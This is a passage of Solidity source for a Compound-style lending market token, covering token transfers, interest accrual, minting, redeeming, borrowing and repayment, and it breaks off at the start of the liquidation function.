(mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH); } (mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) accountTokens[src] = srcTokensNew; accountTokens[dst] = dstTokensNew; /* Eat some of the allowance (if necessary) */ if (startingAllowance != uint(-1)) { transferAllowances[src][spender] = allowanceNew; } /* We emit a Transfer event */ emit Transfer(src, dst, tokens); /* We call the defense hook (which checks for under-collateralization) */ controller.transferVerify(address(this), src, dst, tokens); return uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); (MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]); require(mErr == MathError.NO_ERROR); return balance; } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by controller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { uint aTokenBalance = accountTokens[account]; uint borrowBalance; uint exchangeRateMantissa; MathError mErr; (mErr, borrowBalance) = borrowBalanceStoredInternal(account); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } (mErr, exchangeRateMantissa) = exchangeRateStoredInternal(); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } return (uint(Error.NO_ERROR), aTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this aToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { (uint opaqueErr, uint borrowRateMantissa) = interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); require(opaqueErr == 0, "borrowRatePerBlock: interestRateModel.borrowRate failed"); // semi-opaque return borrowRateMantissa; } /** * @notice Returns the current per-block supply interest rate for this aToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { /* We calculate the supply rate: * underlying = totalSupply × exchangeRate * borrowsPer = totalBorrows ÷ underlying * supplyRate = borrowRate × (1-reserveFactor) × borrowsPer */ uint exchangeRateMantissa = exchangeRateStored(); (uint e0, uint borrowRateMantissa) = interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); require(e0 == 0, "supplyRatePerBlock: calculating borrowRate failed"); // semi-opaque (MathError e1, Exp memory underlying) = mulScalar(Exp({mantissa: exchangeRateMantissa}), totalSupply); require(e1 == MathError.NO_ERROR, "supplyRatePerBlock: calculating underlying failed"); (MathError e2, Exp memory borrowsPer) = divScalarByExp(totalBorrows, underlying); require(e2 == MathError.NO_ERROR, "supplyRatePerBlock: calculating borrowsPer failed"); (MathError e3, Exp memory oneMinusReserveFactor) = subExp(Exp({mantissa: mantissaOne}), Exp({mantissa: reserveFactorMantissa})); require(e3 == MathError.NO_ERROR, "supplyRatePerBlock: calculating oneMinusReserveFactor failed"); (MathError e4, Exp memory supplyRate) = mulExp3(Exp({mantissa: borrowRateMantissa}), oneMinusReserveFactor, borrowsPer); require(e4 == MathError.NO_ERROR, "supplyRatePerBlock: calculating supplyRate failed"); return supplyRate.mantissa; } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { (MathError err, uint result) = borrowBalanceStoredInternal(account); require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed"); return result; } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return (error code, the calculated balance or 0 if error code is non-zero) */ function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) { /* Note: we do not assert that the market is up to date */ MathError mathErr; uint principalTimesIndex; uint result; /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return (MathError.NO_ERROR, 0); } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ (mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, result); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return exchangeRateStored(); } /** * @notice Calculates the exchange rate from the underlying to the AToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { (MathError err, uint result) = exchangeRateStoredInternal(); require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed"); return result; } /** * @notice Calculates the exchange rate from the underlying to the AToken * @dev This function does not accrue interest before calculating the exchange rate * @return (error code, calculated exchange rate scaled by 1e18) */ function exchangeRateStoredInternal() internal view returns (MathError, uint) { if (totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return (MathError.NO_ERROR, initialExchangeRateMantissa); } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves; Exp memory exchangeRate; MathError mathErr; (mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, totalSupply); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, exchangeRate.mantissa); } } /** * @notice Get cash balance of this aToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { return getCashPrior(); } struct AccrueInterestLocalVars { MathError mathErr; uint opaqueErr; uint borrowRateMantissa; uint currentBlockNumber; uint blockDelta; Exp simpleInterestFactor; uint interestAccumulated; uint totalBorrowsNew; uint totalReservesNew; uint borrowIndexNew; } /** * @notice Applies accrued interest to total borrows and reserves. * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { AccrueInterestLocalVars memory vars; /* Calculate the current borrow interest rate */ (vars.opaqueErr, vars.borrowRateMantissa) = interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); require(vars.borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); if (vars.opaqueErr != 0) { return failOpaque(Error.INTEREST_RATE_MODEL_ERROR, FailureInfo.ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, vars.opaqueErr); } /* Remember the initial block number */ vars.currentBlockNumber = getBlockNumber(); /* Calculate the number of blocks elapsed since the last accrual */ (vars.mathErr, vars.blockDelta) = subUInt(vars.currentBlockNumber, accrualBlockNumber); assert(vars.mathErr == MathError.NO_ERROR); // Block delta should always succeed and if it doesn't, blow up. /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ (vars.mathErr, vars.simpleInterestFactor) = mulScalar(Exp({mantissa: vars.borrowRateMantissa}), vars.blockDelta); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.interestAccumulated) = mulScalarTruncate(vars.simpleInterestFactor, totalBorrows); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.totalBorrowsNew) = addUInt(vars.interestAccumulated, totalBorrows); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), vars.interestAccumulated, totalReserves); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.borrowIndexNew) = mulScalarTruncateAddUInt(vars.simpleInterestFactor, borrowIndex, borrowIndex); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = vars.currentBlockNumber; borrowIndex = vars.borrowIndexNew; totalBorrows = vars.totalBorrowsNew; totalReserves = vars.totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(vars.interestAccumulated, vars.borrowIndexNew, totalBorrows); return uint(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives aTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mintInternal(uint mintAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount); } struct MintLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint mintTokens; uint totalSupplyNew; uint accountTokensNew; } /** * @notice User supplies assets into the market and receives aTokens in exchange * @dev Assumes interest has already been accrued up to the current block * @param minter The address of the account which is supplying the assets * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mintFresh(address minter, uint mintAmount) internal returns (uint) { /* Fail if mint not allowed */ uint allowed = controller.mintAllowed(address(this), minter, mintAmount); if (allowed != 0) { return failOpaque(Error.CONTROLLER_REJECTION, FailureInfo.MINT_CONTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK); } MintLocalVars memory vars; /* Fail if checkTransferIn fails */ vars.err = checkTransferIn(minter, mintAmount); if (vars.err != Error.NO_ERROR) { return fail(vars.err, FailureInfo.MINT_TRANSFER_IN_NOT_POSSIBLE); } /* * We get the current exchange rate and calculate the number of aTokens to be minted: * mintTokens = mintAmount / exchangeRate */ (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(mintAmount, Exp({mantissa: vars.exchangeRateMantissa})); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_CALCULATION_FAILED, uint(vars.mathErr)); } /* * We calculate the new total supply of aTokens and minter token balance, checking for overflow: * totalSupplyNew = totalSupply + mintTokens * accountTokensNew = accountTokens[minter] + mintTokens */ (vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the minter and the mintAmount * Note: The aToken must handle variations between ERC-20 and ETH underlying. * On success, the aToken holds an additional mintAmount of cash. * If doTransferIn fails despite the fact we checked pre-conditions, * we revert because we can't be sure if side effects occurred. */ vars.err = doTransferIn(minter, mintAmount); if (vars.err != Error.NO_ERROR) { return fail(vars.err, FailureInfo.MINT_TRANSFER_IN_FAILED); } /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[minter] = vars.accountTokensNew; /* We emit a Mint event, and a Transfer event */ emit Mint(minter, mintAmount, vars.mintTokens); emit Transfer(address(this), minter, vars.mintTokens); /* We call the defense hook */ controller.mintVerify(address(this), minter, mintAmount, vars.mintTokens); return uint(Error.NO_ERROR); } /** * @notice Sender redeems aTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of aTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0); } /** * @notice Sender redeems aTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, 0, redeemAmount); } struct RedeemLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint redeemTokens; uint redeemAmount; uint totalSupplyNew; uint accountTokensNew; } /** * @notice User redeems aTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block * @param redeemer The address of the account which is redeeming the tokens * @param redeemTokensIn The number of aTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be zero) * @param redeemAmountIn The number of aTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be zero) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) { require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero"); RedeemLocalVars memory vars; /* exchangeRate = invoke Exchange Rate Stored() */ (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)); } /* If redeemTokensIn > 0: */ if (redeemTokensIn > 0) { /* * We calculate the exchange rate and the amount of underlying to be redeemed: * redeemTokens = redeemTokensIn * redeemAmount = redeemTokensIn x exchangeRateCurrent */ vars.redeemTokens = redeemTokensIn; (vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr)); } } else { /* * We get the current exchange rate and calculate the amount to be redeemed: * redeemTokens = redeemAmountIn / exchangeRate * redeemAmount = redeemAmountIn */ (vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa})); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr)); } vars.redeemAmount = redeemAmountIn; } /* Fail if redeem not allowed */ uint allowed = controller.redeemAllowed(address(this), redeemer, vars.redeemTokens); if (allowed != 0) { return failOpaque(Error.CONTROLLER_REJECTION, FailureInfo.REDEEM_CONTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK); } /* * We calculate the new total supply and redeemer balance, checking for underflow: * totalSupplyNew = totalSupply - redeemTokens * accountTokensNew = accountTokens[redeemer] - redeemTokens */ (vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } /* Fail gracefully if protocol has insufficient cash */ if (getCashPrior() < vars.redeemAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the redeemer and the redeemAmount. * Note: The aToken must handle variations between ERC-20 and ETH underlying. * On success, the aToken has redeemAmount less of cash. * If doTransferOut fails despite the fact we checked pre-conditions, * we revert because we can't be sure if side effects occurred. */ vars.err = doTransferOut(redeemer, vars.redeemAmount); require(vars.err == Error.NO_ERROR, "redeem transfer out failed"); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[redeemer] = vars.accountTokensNew; /* We emit a Transfer event, and a Redeem event */ emit Transfer(redeemer, address(this), vars.redeemTokens); emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens); /* We call the defense hook */ controller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens); return uint(Error.NO_ERROR); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount); } struct BorrowLocalVars { Error err; MathError mathErr; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { /* Fail if borrow not allowed */ uint allowed = controller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.CONTROLLER_REJECTION, FailureInfo.BORROW_CONTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The aToken must handle variations between ERC-20 and ETH underlying. * On success, the aToken borrowAmount less of cash. * If doTransferOut fails despite the fact we checked pre-conditions, * we revert because we can't be sure if side effects occurred. */ vars.err = doTransferOut(borrower, borrowAmount); require(vars.err == Error.NO_ERROR, "borrow transfer out failed"); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ controller.borrowVerify(address(this), borrower, borrowAmount); return uint(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, borrower, repayAmount); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint repayAmount; uint borrowerIndex; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint) { /* Fail if repayBorrow not allowed */ uint allowed = controller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return failOpaque(Error.CONTROLLER_REJECTION, FailureInfo.REPAY_BORROW_CONTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } /* Fail if checkTransferIn fails */ vars.err = checkTransferIn(payer, vars.repayAmount); if (vars.err != Error.NO_ERROR) { return fail(vars.err, FailureInfo.REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE); } /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - repayAmount * totalBorrowsNew = totalBorrows - repayAmount */ (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.repayAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.repayAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The aToken must handle variations between ERC-20 and ETH underlying. * On success, the aToken holds an additional repayAmount of cash. * If doTransferIn fails despite the fact we checked pre-conditions, * we revert because we can't be sure if side effects occurred. */ vars.err = doTransferIn(payer, vars.repayAmount); require(vars.err == Error.NO_ERROR, "repay borrow transfer in failed"); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.repayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ controller.repayBorrowVerify(address(this), payer, borrower, vars.repayAmount, vars.borrowerIndex); return uint(Error.NO_ERROR); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this aToken to be liquidated * @param aTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrowInternal(address borrower, uint repayAmount, AToken aTokenCollateral) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED); } error = 